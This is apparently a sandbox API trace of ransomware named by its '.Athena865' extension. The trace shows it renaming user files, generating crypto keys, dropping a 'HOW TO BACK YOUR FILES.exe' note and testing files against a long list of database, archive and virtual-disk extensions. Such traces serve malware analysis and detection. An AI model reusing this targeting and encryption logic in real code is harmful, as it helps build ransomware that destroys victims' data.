MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_FVlpnjgIBgAk-YD8Z-.ots.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_fvlpnjgibgak-yd8z-.ots.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_FVlpnjgIBgAk-YD8Z-.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_fvlpnjgibgak-yd8z-.ots.lnk.athena865"), dwFlags=0x1) returned 1 [0053.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_FVlpnjgIBgAk-YD8Z-.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_fvlpnjgibgak-yd8z-.ots.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3939) returned 1 [0053.111] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.111] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.111] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.112] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.113] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.113] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.114] lstrcpyW (in: lpString1=0x241e8b4, lpString2="_OAh4nBc.lnk" | out: lpString1="_OAh4nBc.lnk") returned="_OAh4nBc.lnk" [0053.114] lstrlenW (lpString="_OAh4nBc.lnk") returned 12 [0053.114] lstrlenW (lpString="Athena865") returned 9 [0053.114] lstrcmpiW (lpString1="h4nBc.lnk", lpString2="Athena865") returned 1 [0053.114] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_OAh4nBc.lnk.Athena865") returned 76 [0053.114] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_OAh4nBc.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_oah4nbc.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_OAh4nBc.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_oah4nbc.lnk.athena865"), dwFlags=0x1) returned 1 [0053.115] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_OAh4nBc.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_oah4nbc.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.115] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5054) returned 1 [0053.115] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.116] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.116] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.116] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.117] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.117] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.121] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0053.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501a28 | out: hHeap=0x4f0000) returned 1 [0053.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c578 | out: hHeap=0x4f0000) returned 1 [0053.121] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned 58 [0053.121] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A96C95406C5506CA269A785261071EAE") returned 0xec [0053.121] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.121] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0053.121] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.121] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.122] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.122] GetLastError () returned 0x0 [0053.122] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.122] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.123] CloseHandle (hObject=0xf4) returned 1 [0053.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.123] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.123] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.123] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.123] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.123] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.123] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.123] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.123] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.123] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.123] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.123] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.123] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.124] lstrlenW (lpString="desktop.ini") returned 11 [0053.124] lstrcpyW (in: lpString1=0x241e8be, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.124] lstrlenW (lpString="desktop.ini") returned 11 [0053.124] lstrlenW (lpString="Athena865") returned 9 [0053.124] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.124] lstrlenW (lpString=".dll") returned 4 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.124] lstrlenW (lpString=".lnk") returned 4 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.124] lstrlenW (lpString=".ini") returned 4 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.124] lstrlenW (lpString=".sys") returned 4 [0053.124] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.124] lstrlenW (lpString="desktop.ini") returned 11 [0053.124] lstrlenW (lpString="bak") returned 3 [0053.124] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.124] lstrlenW (lpString="ba_") returned 3 [0053.124] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.124] lstrlenW (lpString="dbb") returned 3 [0053.124] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.124] lstrlenW (lpString="vmdk") returned 4 [0053.125] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.125] lstrlenW (lpString="rar") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.125] lstrlenW (lpString="zip") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.125] lstrlenW (lpString="tgz") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.125] lstrlenW (lpString="vbox") returned 4 [0053.125] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.125] lstrlenW (lpString="vdi") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.125] lstrlenW (lpString="vhd") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.125] lstrlenW (lpString="vhdx") returned 4 [0053.125] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.125] lstrlenW (lpString="avhd") returned 4 [0053.125] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.125] lstrlenW (lpString="db") returned 2 [0053.125] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.125] lstrlenW (lpString="db2") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.125] lstrlenW (lpString="db3") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.125] lstrlenW (lpString="dbf") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.125] lstrlenW (lpString="mdf") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.125] lstrlenW (lpString="mdb") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.125] lstrlenW (lpString="sql") returned 3 [0053.125] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.125] lstrlenW (lpString="sqlite") returned 6 [0053.125] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.126] lstrlenW (lpString="sqlite3") returned 7 [0053.126] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.126] lstrlenW (lpString="sqlitedb") returned 8 [0053.126] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.126] lstrlenW (lpString="xml") returned 3 [0053.126] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.126] lstrlenW (lpString="$er") returned 3 [0053.126] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.126] lstrlenW (lpString="4dd") returned 3 [0053.126] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.126] lstrlenW (lpString="4dl") returned 3 [0053.126] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.126] lstrlenW (lpString="^^^") returned 3 [0053.126] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.126] lstrlenW (lpString="abs") returned 3 [0053.126] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.126] lstrlenW (lpString="abx") returned 3 [0053.126] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.126] lstrlenW (lpString="accdb") returned 5 [0053.126] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.126] lstrlenW (lpString="accdc") returned 5 [0053.126] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.126] lstrlenW (lpString="accde") returned 5 [0053.126] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.126] lstrlenW (lpString="accdr") returned 5 [0053.126] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.126] lstrlenW (lpString="accdt") returned 5 [0053.126] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.126] lstrlenW (lpString="accdw") returned 5 [0053.126] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.126] lstrlenW (lpString="accft") returned 5 [0053.126] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.126] lstrlenW (lpString="adb") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.127] lstrlenW (lpString="adb") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.127] lstrlenW (lpString="ade") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.127] lstrlenW (lpString="adf") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.127] lstrlenW (lpString="adn") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.127] lstrlenW (lpString="adp") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.127] lstrlenW (lpString="alf") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.127] lstrlenW (lpString="ask") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.127] lstrlenW (lpString="btr") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.127] lstrlenW (lpString="cat") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.127] lstrlenW (lpString="cdb") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.127] lstrlenW (lpString="ckp") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.127] lstrlenW (lpString="cma") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.127] lstrlenW (lpString="cpd") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.127] lstrlenW (lpString="dacpac") returned 6 [0053.127] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.127] lstrlenW (lpString="dad") returned 3 [0053.127] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.127] lstrlenW (lpString="dadiagrams") returned 10 [0053.127] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.128] lstrlenW (lpString="daschema") returned 8 [0053.128] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.128] lstrlenW (lpString="db-journal") returned 10 [0053.128] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.128] lstrlenW (lpString="db-shm") returned 6 [0053.128] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.128] lstrlenW (lpString="db-wal") returned 6 [0053.128] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.128] lstrlenW (lpString="dbc") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.128] lstrlenW (lpString="dbs") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.128] lstrlenW (lpString="dbt") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.128] lstrlenW (lpString="dbv") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.128] lstrlenW (lpString="dbx") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.128] lstrlenW (lpString="dcb") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.128] lstrlenW (lpString="dct") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.128] lstrlenW (lpString="dcx") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.128] lstrlenW (lpString="ddl") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.128] lstrlenW (lpString="dlis") returned 4 [0053.128] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.128] lstrlenW (lpString="dp1") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.128] lstrlenW (lpString="dqy") returned 3 [0053.128] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.128] lstrlenW (lpString="dsk") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.129] lstrlenW (lpString="dsn") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.129] lstrlenW (lpString="dtsx") returned 4 [0053.129] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.129] lstrlenW (lpString="dxl") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.129] lstrlenW (lpString="eco") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.129] lstrlenW (lpString="ecx") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.129] lstrlenW (lpString="edb") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.129] lstrlenW (lpString="epim") returned 4 [0053.129] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.129] lstrlenW (lpString="fcd") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.129] lstrlenW (lpString="fdb") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.129] lstrlenW (lpString="fic") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.129] lstrlenW (lpString="flexolibrary") returned 12 [0053.129] lstrlenW (lpString="fm5") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.129] lstrlenW (lpString="fmp") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.129] lstrlenW (lpString="fmp12") returned 5 [0053.129] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.129] lstrlenW (lpString="fmpsl") returned 5 [0053.129] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.129] lstrlenW (lpString="fol") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.129] lstrlenW (lpString="fp3") returned 3 [0053.129] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.130] lstrlenW (lpString="fp4") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.130] lstrlenW (lpString="fp5") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.130] lstrlenW (lpString="fp7") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.130] lstrlenW (lpString="fpt") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.130] lstrlenW (lpString="frm") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.130] lstrlenW (lpString="gdb") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.130] lstrlenW (lpString="gdb") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.130] lstrlenW (lpString="grdb") returned 4 [0053.130] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.130] lstrlenW (lpString="gwi") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.130] lstrlenW (lpString="hdb") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.130] lstrlenW (lpString="his") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.130] lstrlenW (lpString="ib") returned 2 [0053.130] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.130] lstrlenW (lpString="idb") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.130] lstrlenW (lpString="ihx") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.130] lstrlenW (lpString="itdb") returned 4 [0053.130] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.130] lstrlenW (lpString="itw") returned 3 [0053.130] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.130] lstrlenW (lpString="jet") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.131] lstrlenW (lpString="jtx") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.131] lstrlenW (lpString="kdb") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.131] lstrlenW (lpString="kexi") returned 4 [0053.131] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.131] lstrlenW (lpString="kexic") returned 5 [0053.131] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.131] lstrlenW (lpString="kexis") returned 5 [0053.131] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.131] lstrlenW (lpString="lgc") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.131] lstrlenW (lpString="lwx") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.131] lstrlenW (lpString="maf") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.131] lstrlenW (lpString="maq") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.131] lstrlenW (lpString="mar") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.131] lstrlenW (lpString="marshal") returned 7 [0053.131] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.131] lstrlenW (lpString="mas") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.131] lstrlenW (lpString="mav") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.131] lstrlenW (lpString="maw") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.131] lstrlenW (lpString="mdbhtml") returned 7 [0053.131] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.131] lstrlenW (lpString="mdn") returned 3 [0053.131] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.132] lstrlenW (lpString="mdt") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.132] lstrlenW (lpString="mfd") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.132] lstrlenW (lpString="mpd") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.132] lstrlenW (lpString="mrg") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.132] lstrlenW (lpString="mud") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.132] lstrlenW (lpString="mwb") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.132] lstrlenW (lpString="myd") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.132] lstrlenW (lpString="ndf") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.132] lstrlenW (lpString="nnt") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.132] lstrlenW (lpString="nrmlib") returned 6 [0053.132] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.132] lstrlenW (lpString="ns2") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.132] lstrlenW (lpString="ns3") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.132] lstrlenW (lpString="ns4") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.132] lstrlenW (lpString="nsf") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.132] lstrlenW (lpString="nv") returned 2 [0053.132] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.132] lstrlenW (lpString="nv2") returned 3 [0053.132] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.132] lstrlenW (lpString="nwdb") returned 4 [0053.133] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.133] lstrlenW (lpString="nyf") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.133] lstrlenW (lpString="odb") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.133] lstrlenW (lpString="odb") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.133] 